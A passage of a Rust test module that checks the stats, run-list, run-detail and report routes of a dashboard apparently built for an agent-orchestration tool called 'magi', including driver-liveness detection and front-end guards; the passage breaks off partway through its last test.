10540        assert!(body.contains("question.run_is_task"));
10541        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10542        assert!(body.contains("`#/runs/${question.run}`"));
10543        assert!(body.contains("\"task\" : \"run\""));
10544    }
10545
10546    #[test]
10547    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10548        let start = APP_JS
10549            .find("function scheduleSearch(")
10550            .expect("scheduleSearch exists");
10551        let body = &APP_JS[start..];
10552        let body = &body[..body.find("\n}\n").expect("function end")];
10553        assert!(body.contains("s.seq += 1"));
10554    }
10555
10556    /// The dashboard reads every run's state itself rather than trusting a
10557    /// separately-maintained count, so an unreadable run must be counted the
10558    /// same way `/api/health` counts it - never silently dropped the way the
10559    /// CLI's own `stats::load_all` drops it.
10560    #[tokio::test]
10561    async fn stats_runs_unreadable_matches_health() {
10562        let f = Fixture::start().await;
10563        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10564        let broken = f.runs().join("20260902-140502-bad");
10565        std::fs::create_dir_all(&broken).expect("run dir");
10566        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10567
10568        let stats = f.get("/api/stats").await;
10569        let health = f.get("/api/health").await;
10570
10571        assert_eq!(stats.status, 200);
10572        assert_eq!(stats.json()["totals"]["runs"], 1);
10573        assert_eq!(stats.json()["runs_unreadable"], 1);
10574        assert_eq!(
10575            stats.json()["runs_unreadable"],
10576            health.json()["runs_unreadable"],
10577            "the dashboard and /api/health must never disagree about how many \
10578             runs could not be read"
10579        );
10580    }
10581
10582    #[tokio::test]
10583    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10584        let f = Fixture::start().await;
10585        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10586        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10587        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10588
10589        let totals = &f.get("/api/stats").await.json()["totals"];
10590        assert_eq!(totals["runs"], 3);
10591        assert_eq!(totals["merged"], 1);
10592        assert_eq!(totals["stalled"], 1);
10593        assert_eq!(totals["in_progress"], 1);
10594        // A stalled run must never read as blocked/merged/ready - it is its
10595        // own bucket, not folded into a "decided" one.
10596        assert_eq!(totals["blocked"], 0);
10597        assert_eq!(totals["ready"], 0);
10598    }
10599
10600    #[tokio::test]
10601    async fn stats_advisors_report_proposals_and_reflection() {
10602        use crate::advise::{Advice, AdvisorRecord, Reflection};
10603        use crate::verdict::Proposal;
10604
10605        let f = Fixture::start().await;
10606        let mut state = RunState::new(
10607            PathBuf::from("/repo/magi"),
10608            "main".to_owned(),
10609            "0123456789abcdef".to_owned(),
10610            "task".to_owned(),
10611            Config::default(),
10612        );
10613        state.id = "20260902-140501-a".to_owned();
10614        state.status = RunStatus::Merged;
10615        state.advice = Some(Advice {
10616            records: vec![
10617                AdvisorRecord {
10618                    seat: "advisor-1".to_owned(),
10619                    agent: "alpha".to_owned(),
10620                    proposal: Some(Proposal {
10621                        approach: "do it".to_owned(),
10622                        key_tradeoff: "speed over memory".to_owned(),
10623                        risks: Vec::new(),
10624                        touches: Vec::new(),
10625                        why_not_naive: "breaks under load".to_owned(),
10626                    }),
10627                    error: None,
10628                    duration_ms: 0,
10629                    reflection: Reflection::Strong,
10630                },
10631                AdvisorRecord {
10632                    seat: "advisor-2".to_owned(),
10633                    agent: "alpha".to_owned(),
10634                    proposal: None,
10635                    error: Some("timed out".to_owned()),
10636                    duration_ms: 0,
10637                    reflection: Reflection::Absent,
10638                },
10639            ],
10640            synthesis: Some("blended brief".to_owned()),
10641        });
10642        let dir = f.runs().join(&state.id);
10643        std::fs::create_dir_all(&dir).expect("run dir");
10644        std::fs::write(
10645            dir.join("run.json"),
10646            serde_json::to_string_pretty(&state).expect("serialize run"),
10647        )
10648        .expect("write run.json");
10649
10650        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10651        let alpha = advisors
10652            .as_array()
10653            .expect("an array")
10654            .iter()
10655            .find(|a| a["agent"] == "alpha")
10656            .expect("alpha row");
10657        assert_eq!(alpha["seated"], 2);
10658        assert_eq!(alpha["proposed"], 1);
10659        assert_eq!(alpha["absent"], 1);
10660        assert_eq!(alpha["strong"], 1);
10661        assert_eq!(alpha["faint"], 0);
10662        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10663    }
10664
10665    #[tokio::test]
10666    async fn stats_release_bumps_split_clean_from_attention() {
10667        use crate::run::ReleaseBump;
10668
10669        let f = Fixture::start().await;
10670
10671        let mut clean = RunState::new(
10672            PathBuf::from("/repo/magi"),
10673            "main".to_owned(),
10674            "0123456789abcdef".to_owned(),
10675            "task".to_owned(),
10676            Config::default(),
10677        );
10678        clean.id = "20260902-140501-a".to_owned();
10679        clean.status = RunStatus::Merged;
10680        clean.release_bump = Some(ReleaseBump {
10681            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10682            version: Some("1.0.0".to_owned()),
10683            automerge_enabled: true,
10684            merged_directly: false,
10685            local: false,
10686            release: None,
10687            problem: None,
10688            action_required: None,
10689        });
10690
10691        let mut blocked = RunState::new(
10692            PathBuf::from("/repo/magi"),
10693            "main".to_owned(),
10694            "0123456789abcdef".to_owned(),
10695            "task".to_owned(),
10696            Config::default(),
10697        );
10698        blocked.id = "20260902-140502-b".to_owned();
10699        blocked.status = RunStatus::Merged;
10700        blocked.release_bump = Some(ReleaseBump {
10701            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10702            version: Some("1.0.1".to_owned()),
10703            automerge_enabled: false,
10704            merged_directly: false,
10705            local: false,
10706            release: None,
10707            problem: Some("checks red".to_owned()),
10708            action_required: Some("look at the PR".to_owned()),
10709        });
10710
10711        for state in [&clean, &blocked] {
10712            let dir = f.runs().join(&state.id);
10713            std::fs::create_dir_all(&dir).expect("run dir");
10714            std::fs::write(
10715                dir.join("run.json"),
10716                serde_json::to_string_pretty(state).expect("serialize run"),
10717            )
10718            .expect("write run.json");
10719        }
10720
10721        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10722        assert_eq!(bumps["merged"], 2);
10723        assert_eq!(bumps["recorded"], 2);
10724        assert_eq!(bumps["pr_opened"], 2);
10725        assert_eq!(bumps["automerge_enabled"], 1);
10726        assert_eq!(bumps["needs_attention"], 1);
10727        assert_eq!(bumps["clean"], 1);
10728        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10729        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10730    }
10731
10732    #[tokio::test]
10733    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10734        let f = Fixture::start().await;
10735        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10736
10737        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10738        assert_eq!(bumps["merged"], 1);
10739        assert_eq!(bumps["recorded"], 0);
10740        // `merged` is nonzero, so coverage still reads as a real 0%, not an
10741        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
10742        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10743        // `pr_opened` and `recorded` are both zero here, so these rates have
10744        // no denominator to compute from and must be null.
10745        assert_eq!(bumps["automerge_rate"], Value::Null);
10746        assert_eq!(bumps["attention_rate"], Value::Null);
10747    }
10748
10749    #[tokio::test]
10750    async fn stats_queue_counts_come_from_the_live_queue() {
10751        let f = Fixture::start().await;
10752        let q = f.queue();
10753        let mut queued = Task::new(
10754            "queued task".to_owned(),
10755            "do it".to_owned(),
10756            PathBuf::from("/repo"),
10757            Source::Human,
10758        );
10759        q.put(&mut queued).expect("put queued");
10760        let mut held = Task::new(
10761            "held task".to_owned(),
10762            "do it later".to_owned(),
10763            PathBuf::from("/repo"),
10764            Source::Human,
10765        );
10766        held.hold_machine(Some("out of attempts".to_owned()));
10767        q.put(&mut held).expect("put held");
10768
10769        let queue = f.get("/api/stats").await.json()["queue"].clone();
10770        assert_eq!(queue["queued"], 1);
10771        assert_eq!(queue["held"], 1);
10772        assert_eq!(queue["running"], 0);
10773        assert_eq!(queue["done"], 0);
10774        assert_eq!(queue["failed"], 0);
10775        assert_eq!(queue["blocked"], 0);
10776    }
10777
10778    #[tokio::test]
10779    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10780        let f = Fixture::start().await;
10781        let stats = f.get("/api/stats").await;
10782        assert_eq!(stats.status, 200);
10783        assert_eq!(stats.json()["totals"]["runs"], 0);
10784        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10785        assert_eq!(stats.json()["runs_unreadable"], 0);
10786        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10787        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10788        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10789        assert_eq!(stats.json()["repo"], Value::Null);
10790    }
10791
10792    #[tokio::test]
10793    async fn stats_lists_every_repository_with_runs_recorded() {
10794        let f = Fixture::start().await;
10795        write_run_repo(
10796            &f.runs(),
10797            "20260902-140501-a",
10798            RunStatus::Merged,
10799            "/repos/a",
10800        );
10801        write_run_repo(
10802            &f.runs(),
10803            "20260902-140502-b",
10804            RunStatus::Merged,
10805            "/repos/a",
10806        );
10807        write_run_repo(
10808            &f.runs(),
10809            "20260902-140503-c",
10810            RunStatus::Blocked,
10811            "/repos/b",
10812        );
10813
10814        let stats = f.get("/api/stats").await;
10815        assert_eq!(stats.status, 200);
10816        // Unfiltered - the aggregate across both repositories.
10817        assert_eq!(stats.json()["totals"]["runs"], 3);
10818        assert_eq!(stats.json()["repo"], Value::Null);
10819
10820        let repos = stats.json()["repos"].clone();
10821        let repos = repos.as_array().unwrap();
10822        assert_eq!(repos.len(), 2);
10823        // Busiest (2 runs) first.
10824        assert_eq!(repos[0]["repo"], "/repos/a");
10825        assert_eq!(repos[0]["name"], "a");
10826        assert_eq!(repos[0]["runs"], 2);
10827        assert_eq!(repos[1]["repo"], "/repos/b");
10828        assert_eq!(repos[1]["runs"], 1);
10829    }
10830
10831    #[tokio::test]
10832    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10833        let f = Fixture::start().await;
10834        write_run_repo(
10835            &f.runs(),
10836            "20260902-140501-a",
10837            RunStatus::Merged,
10838            "/repos/a",
10839        );
10840        write_run_repo(
10841            &f.runs(),
10842            "20260902-140502-b",
10843            RunStatus::Blocked,
10844            "/repos/b",
10845        );
10846
10847        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10848        assert_eq!(stats.status, 200);
10849        assert_eq!(stats.json()["totals"]["runs"], 1);
10850        assert_eq!(stats.json()["totals"]["merged"], 1);
10851        assert_eq!(stats.json()["repo"], "/repos/a");
10852        // The repository list itself is unaffected by the filter - it is
10853        // what a client switches repositories from.
10854        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10855        // runs_unreadable is a whole-workload count, never scoped to the
10856        // selected repository - see StatsView::runs_unreadable's own doc.
10857        assert_eq!(stats.json()["runs_unreadable"], 0);
10858    }
10859
10860    #[tokio::test]
10861    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10862        let f = Fixture::start().await;
10863        write_run_repo(
10864            &f.runs(),
10865            "20260902-140501-a",
10866            RunStatus::Merged,
10867            "/repos/a",
10868        );
10869
10870        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10871        assert_eq!(stats.status, 404);
10872    }
10873
10874    #[tokio::test]
10875    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10876        let f = Fixture::start().await;
10877        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10878
10879        let summary = f.get("/api/runs").await.json();
10880        let row = &summary[0];
10881        assert_eq!(row["short"], "a1b2");
10882        assert_eq!(row["status"], "ready");
10883        assert_eq!(row["done"], true);
10884        assert_eq!(row["title"], "Add a web UI");
10885        assert_eq!(row["repo_name"], "magi");
10886        assert_eq!(row["judges"], 3);
10887        assert_eq!(row["winner"], Value::Null);
10888        assert_eq!(row["reviews"], 0);
10889
10890        // The short id resolves, and the detail route is the state itself, not
10891        // a projection of it: the UI reads fields the summary does not carry.
10892        let detail = f.get("/api/runs/a1b2").await;
10893        assert_eq!(detail.status, 200);
10894        assert_eq!(detail.json()["base_branch"], "main");
10895        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10896    }
10897
10898    /// `status: "ready"` alone cannot tell a run still headed for a landing
10899    /// (a PR closed without merging, say) apart from one `[merge] mode =
10900    /// "none"` left unmerged for good — the confusion the operator flagged
10901    /// after the CLI report already grew a `not landed — nothing to do by
10902    /// design` line for exactly this case (`report.rs`). Both the list route
10903    /// and the detail route must carry a flag the phone can key on instead of
10904    /// re-deriving it from `status` + `merge.mode` itself.
10905    #[tokio::test]
10906    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10907        let f = Fixture::start().await;
10908
10909        let mut none_run = RunState::new(
10910            PathBuf::from("/repo/magi"),
10911            "main".to_owned(),
10912            "0123456789abcdef".to_owned(),
10913            "Add a web UI".to_owned(),
10914            Config::default(),
10915        );
10916        none_run.id = "20260902-140503-none".to_owned();
10917        none_run.status = RunStatus::Ready;
10918        none_run.merge = Some(crate::run::MergeOutcome {
10919            mode: crate::config::MergeMode::None,
10920            ok: true,
10921            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10922            empty: false,
10923        });
10924        write_state(&f.runs(), &none_run);
10925
10926        let mut pr_run = RunState::new(
10927            PathBuf::from("/repo/magi"),
10928            "main".to_owned(),
10929            "0123456789abcdef".to_owned(),
10930            "Add a web UI".to_owned(),
10931            Config::default(),
10932        );
10933        pr_run.id = "20260902-140504-prcl".to_owned();
10934        pr_run.status = RunStatus::Ready;
10935        pr_run.merge = Some(crate::run::MergeOutcome {
10936            mode: crate::config::MergeMode::Pr,
10937            ok: false,
10938            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10939            empty: false,
10940        });
10941        write_state(&f.runs(), &pr_run);
10942
10943        let summary = f.get("/api/runs").await.json();
10944        let rows: std::collections::HashMap<&str, &Value> = summary
10945            .as_array()
10946            .expect("an array")
10947            .iter()
10948            .map(|r| (r["id"].as_str().expect("an id"), r))
10949            .collect();
10950        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10951        assert_eq!(
10952            rows[none_run.id.as_str()]["unmerged_by_design"],
10953            true,
10954            "a mode-none Ready must be flagged in the list"
10955        );
10956        assert_eq!(
10957            rows[pr_run.id.as_str()]["unmerged_by_design"],
10958            false,
10959            "a Ready reached by a closed pull request is a different case"
10960        );
10961
10962        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10963        assert_eq!(none_detail["status"], "ready");
10964        assert_eq!(none_detail["unmerged_by_design"], true);
10965
10966        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10967        assert_eq!(pr_detail["unmerged_by_design"], false);
10968    }
10969
10970    /// `RunState::active` is only ever cleared by whoever populated it, so the
10971    /// detail route also has to say whether a daemon is actually still
10972    /// driving this run right now — otherwise a seat from a killed process's
10973    /// last wave would read as live forever.
10974    #[tokio::test]
10975    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10976        let f = Fixture::start().await;
10977        // Matches `write_daemon`'s hard-coded `current.run`, so the second
10978        // half of this test can claim the daemon is working on it without a
10979        // second helper.
10980        let id = "20260902-140502-bbbb";
10981        let mut state = RunState::new(
10982            PathBuf::from("/repo/magi"),
10983            "main".to_owned(),
10984            "0123456789abcdef".to_owned(),
10985            "Add a web UI".to_owned(),
10986            Config::default(),
10987        );
10988        state.id = id.to_owned();
10989        state.status = RunStatus::Judging;
10990        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10991        let dir = f.runs().join(id);
10992        std::fs::create_dir_all(&dir).expect("run dir");
10993        std::fs::write(
10994            dir.join("run.json"),
10995            serde_json::to_string_pretty(&state).expect("serialize run"),
10996        )
10997        .expect("write run.json");
10998
10999        // No daemon.json at all, and no `driver_pid` recorded either (this
11000        // state was written directly, never through `execute()`): there is
11001        // nothing to confirm either way, so the route must say `"unknown"` —
11002        // never `"dead"`, which is exactly the false diagnosis a manual `magi
11003        // run` used to get from this route before `driver_pid` existed.
11004        let cold = f.get(&format!("/api/runs/{id}")).await.json();
11005        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11006        assert_eq!(cold["live"], "unknown", "{cold}");
11007
11008        // A fresh heartbeat naming exactly this run: the same entry now reads
11009        // as confirmed, not merely recorded.
11010        write_daemon(f.home.path(), Timestamp::now());
11011        let warm = f.get(&format!("/api/runs/{id}")).await.json();
11012        assert_eq!(warm["live"], "live", "{warm}");
11013    }
11014
11015    /// Where a run came from is shown, and a run written before origins were
11016    /// recorded (schema 12, no `origin` key) stays readable and says so.
11017    #[tokio::test]
11018    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11019        let f = Fixture::start().await;
11020        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11021            let mut state = RunState::new(
11022                PathBuf::from("/repo/magi"),
11023                "main".to_owned(),
11024                "0123456789abcdef".to_owned(),
11025                "Add a web UI".to_owned(),
11026                Config::default(),
11027            );
11028            state.id = id.to_owned();
11029            state.origin = origin;
11030            let mut value = serde_json::to_value(&state).expect("serialize run");
11031            if let Some(schema) = schema {
11032                value["schema"] = serde_json::json!(schema);
11033                value.as_object_mut().unwrap().remove("origin");
11034            }
11035            let dir = f.runs().join(id);
11036            std::fs::create_dir_all(&dir).expect("run dir");
11037            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11038        };
11039        write(
11040            "20260930-092817-ec34",
11041            Some(crate::run::Origin::from_agent_env(
11042                Some(("4a7b".to_owned(), "chat".to_owned())),
11043                None,
11044            )),
11045            None,
11046        );
11047        write("20260930-092817-0ld1", None, Some(12));
11048
11049        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11050        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11051        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11052
11053        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11054        assert_eq!(
11055            old["origin_label"], "origin unknown (started before origins were recorded)",
11056            "{old}"
11057        );
11058        assert!(old["origin"].is_null(), "{old}");
11059
11060        let list = f.get("/api/runs").await.json();
11061        let labels: Vec<_> = list
11062            .as_array()
11063            .unwrap()
11064            .iter()
11065            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11066            .collect();
11067        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11068    }
11069
11070    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
11071    /// review` claims no daemon at all, so before this field existed the
11072    /// route above read it as `"dead"` — indistinguishable from a run a
11073    /// killed process abandoned — the whole time it was genuinely still
11074    /// answering. With a live pid recorded, it must read `"live"` even
11075    /// though no daemon claims it.
11076    #[tokio::test]
11077    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11078        let f = Fixture::start().await;
11079        let id = "20260922-090000-cccc";
11080        let mut state = RunState::new(
11081            PathBuf::from("/repo/magi"),
11082            "main".to_owned(),
11083            "0123456789abcdef".to_owned(),
11084            "Review only".to_owned(),
11085            Config::default(),
11086        );
11087        state.id = id.to_owned();
11088        state.status = RunStatus::Reviewing;
11089        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11090        // This test process's own pid: guaranteed alive, and never needs a
11091        // real daemon or a second process to prove it. The matching start-time
11092        // marker is what `liveness` now requires alongside a live pid — see
11093        // `RunState::driver_started_at`'s own doc for why the pid alone is
11094        // not enough.
11095        state.driver_pid = Some(std::process::id());
11096        state.driver_started_at = Some(
11097            crate::proc::process_started_at(std::process::id())
11098                .expect("this test process's own start time must be queryable"),
11099        );
11100        let dir = f.runs().join(id);
11101        std::fs::create_dir_all(&dir).expect("run dir");
11102        std::fs::write(
11103            dir.join("run.json"),
11104            serde_json::to_string_pretty(&state).expect("serialize run"),
11105        )
11106        .expect("write run.json");
11107
11108        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11109        assert_eq!(detail["live"], "live", "{detail}");
11110    }
11111
11112    /// A killed manual run's pid can be handed to a wholly unrelated later
11113    /// process — a live query on `driver_pid` alone would read this as
11114    /// `"live"`, exactly the false positive `driver_started_at` exists to
11115    /// catch (see that field's own doc, and `RunState::liveness_with`'s
11116    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
11117    #[tokio::test]
11118    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11119        let f = Fixture::start().await;
11120        let id = "20260922-090100-dddd";
11121        let mut state = RunState::new(
11122            PathBuf::from("/repo/magi"),
11123            "main".to_owned(),
11124            "0123456789abcdef".to_owned(),
11125            "Review only".to_owned(),
11126            Config::default(),
11127        );
11128        state.id = id.to_owned();
11129        state.status = RunStatus::Reviewing;
11130        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11131        // This test process's own pid really is alive, but the marker
11132        // recorded here does not match what it actually started at —
11133        // standing in for the pid having since been reused by a different
11134        // process than the one that wrote `run.json`.
11135        state.driver_pid = Some(std::process::id());
11136        state.driver_started_at = Some("1".to_owned());
11137        let dir = f.runs().join(id);
11138        std::fs::create_dir_all(&dir).expect("run dir");
11139        std::fs::write(
11140            dir.join("run.json"),
11141            serde_json::to_string_pretty(&state).expect("serialize run"),
11142        )
11143        .expect("write run.json");
11144
11145        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11146        assert_eq!(detail["live"], "dead", "{detail}");
11147    }
11148
11149    /// The deck's competition list is normally the first place an operator
11150    /// sees an old run. It must carry the same process verdict as detail, or
11151    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
11152    #[test]
11153    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11154        let mk = |id: &str, pid: Option<u32>| {
11155            let mut s = RunState::new(
11156                PathBuf::from("/repo/magi"),
11157                "main".to_owned(),
11158                "0123456789abcdef".to_owned(),
11159                "Add a web UI".to_owned(),
11160                Config::default(),
11161            );
11162            s.id = id.to_owned();
11163            s.driver_pid = pid;
11164            s.driver_started_at = Some("1790000000".to_owned());
11165            s
11166        };
11167        let states = vec![
11168            mk("20260902-140502-aaaa", Some(77)),
11169            mk("20260902-140502-bbbb", Some(77)),
11170            mk("20260902-140502-cccc", Some(77)),
11171            mk("20260902-140502-dddd", None),
11172        ];
11173        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11174        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11175        let sup: HashMap<String, String> = [(
11176            "20260902-140502-aaaa".to_owned(),
11177            "20260902-140502-cccc".to_owned(),
11178        )]
11179        .into();
11180
11181        let status_calls = std::cell::Cell::new(0);
11182        let identity_calls = std::cell::Cell::new(0);
11183        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11184            |_| {
11185                status_calls.set(status_calls.get() + 1);
11186                Some(true)
11187            },
11188            |_| {
11189                identity_calls.set(identity_calls.get() + 1);
11190                Some("1790000000".to_owned())
11191            },
11192        ));
11193        let rows = summarize(
11194            states,
11195            &open,
11196            &claimed,
11197            &sup,
11198            |p| probe.borrow_mut().status(p),
11199            |p| probe.borrow_mut().started_at(p),
11200        );
11201
11202        assert_eq!(status_calls.get(), 1, "one pid, one status query");
11203        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11204        assert_eq!(rows.len(), 4);
11205        assert!(!rows[0].waiting && rows[1].waiting);
11206        assert_eq!(rows[0].live, crate::run::Liveness::Live);
11207        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11208        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11209        assert_eq!(rows[1].superseded_by, None);
11210    }
11211
11212    #[test]
11213    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11214        let mut state = RunState::new(
11215            PathBuf::from("/repo/magi"),
11216            "main".to_owned(),
11217            "0123456789abcdef".to_owned(),
11218            "Review only".to_owned(),
11219            Config::default(),
11220        );
11221        state.id = "20260922-090200-dead".to_owned();
11222        state.status = RunStatus::Reviewing;
11223        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11224            .expect("serialize list row");
11225        assert_eq!(row["status"], "reviewing");
11226        assert_eq!(row["live"], "dead", "{row}");
11227        assert!(!row["done"].as_bool().unwrap());
11228    }
11229
11230    #[tokio::test]
11231    async fn the_run_list_is_newest_first_and_honours_a_limit() {
11232        let f = Fixture::start().await;
11233        for id in [
11234            "20260902-140501-aaaa",
11235            "20260902-140502-bbbb",
11236            "20260902-140503-cccc",
11237        ] {
11238            write_run(&f.runs(), id, RunStatus::Merged);
11239        }
11240
11241        let all = f.get("/api/runs").await.json();
11242        let capped = f.get("/api/runs?limit=2").await.json();
11243
11244        assert_eq!(all[0]["id"], "20260902-140503-cccc");
11245        assert_eq!(all.as_array().map(Vec::len), Some(3));
11246        assert_eq!(capped.as_array().map(Vec::len), Some(2));
11247        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11248    }
11249
11250    #[tokio::test]
11251    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11252        let f = Fixture::start().await;
11253        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11254
11255        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11256
11257        assert_eq!(res.status, 200);
11258        assert!(
11259            res.headers
11260                .contains("content-type: text/plain; charset=utf-8"),
11261            "a browser must render it, not download it: {}",
11262            res.headers
11263        );
11264        // The assertion is on content, not on the absence of escapes: colour
11265        // is a process-global that `serve` turns off at startup, and another
11266        // test in this binary may own it while this one runs.
11267        assert!(
11268            res.body.contains("20260902-140501-a1b2"),
11269            "the report is about the run that was asked for: {}",
11270            res.body
11271        );
11272    }
11273
11274    #[tokio::test]
11275    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11276        let f = Fixture::start().await;
11277
11278        let html = f.get("/").await;
11279        let css = f.get("/app.css").await;
11280        let js = f.get("/app.js").await;
11281
11282        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11283        assert!(
11284            html.headers
11285                .contains("content-type: text/html; charset=utf-8")
11286        );
11287        assert!(css.headers.contains("content-type: text/css"));
11288        assert!(js.headers.contains("content-type: text/javascript"));
11289        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11290    }
11291
11292    #[test]
11293    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11294        let body = |name: &str| {
11295            let at = APP_JS
11296                .find(name)
11297                .unwrap_or_else(|| panic!("{name} missing"));
11298            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11299        };
11300        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11301        let note = body("function landRoundNote");
11302        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11303        assert!(note.contains("Land round ${round}"));
11304        let land = body("function renderLand");
11305        let note_at = land
11306            .find("landRoundNote(pr)")
11307            .expect("renderLand uses the note");
11308        assert!(
11309            note_at
11310                < land
11311                    .find("roundRail(pr)")
11312                    .expect("renderLand uses the rail")
11313        );
11314    }
11315
11316    #[test]
11317    fn the_runs_page_redesign_keeps_its_guards() {
11318        let body = |name: &str| {
11319            let at = APP_JS
11320                .find(name)
11321                .unwrap_or_else(|| panic!("{name} missing"));
11322            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11323        };
11324        // A null child must never reach the native append (it prints "null").
11325        let land = body("function renderLand");
11326        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11327        assert!(
11328            !land.contains("box.append("),
11329            "renderLand must use append()"
11330        );
11331        assert!(land.contains("append(box, ["));
11332        // Tabs are hash routes; the run id alone decides a reload.
11333        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11334        assert!(
11335            body("function applyRoute")
11336                .contains("route.name !== state.route.name || route.id !== state.route.id")
11337        );
11338        // The decorative diagram is gone, the strip and its guards stay.
11339        assert!(!APP_JS.contains("adviseConvergeDiagram"));
11340        assert!(!INDEX_HTML.contains("advise-converge"));
11341        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11342        assert!(APP_JS.contains("provisional"));
11343        for id in [
11344            "run-tab-overview",
11345            "run-tab-timeline",
11346            "run-tab-report",
11347            "run-report",
11348            "runs-scope",
11349        ] {
11350            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11351        }
11352        assert!(!INDEX_HTML.contains("runs-tree"));
11353        assert!(!INDEX_HTML.contains("run-raw-panel"));
11354        // Fold still says it cannot be resumed.
11355        assert!(APP_JS.contains("resume"));
11356        // The unreadable-runs count stays on the page.
11357        assert!(APP_JS.contains("unreadable"));
11358    }
11359
11360    #[test]
11361    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11362        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11363        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11364        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
11365        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11366        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11367        // The subtitle still counts them whatever the banner does.
11368        assert!(APP_JS.contains("unreadable` : null"));
11369    }
11370
11371    #[test]
11372    fn the_run_detail_payload_says_whether_the_run_is_done() {
11373        // `landView` reads `run.done`; the detail response must carry it.
11374        for (status, done) in [
11375            (RunStatus::Superseded, true),
11376            (RunStatus::Blocked, true),
11377            (RunStatus::Landing, false),
11378        ] {
11379            let mut state = RunState::new(
11380                std::path::PathBuf::from("/repo"),
11381                "main".to_owned(),
11382                "abc".to_owned(),
11383                "x".to_owned(),
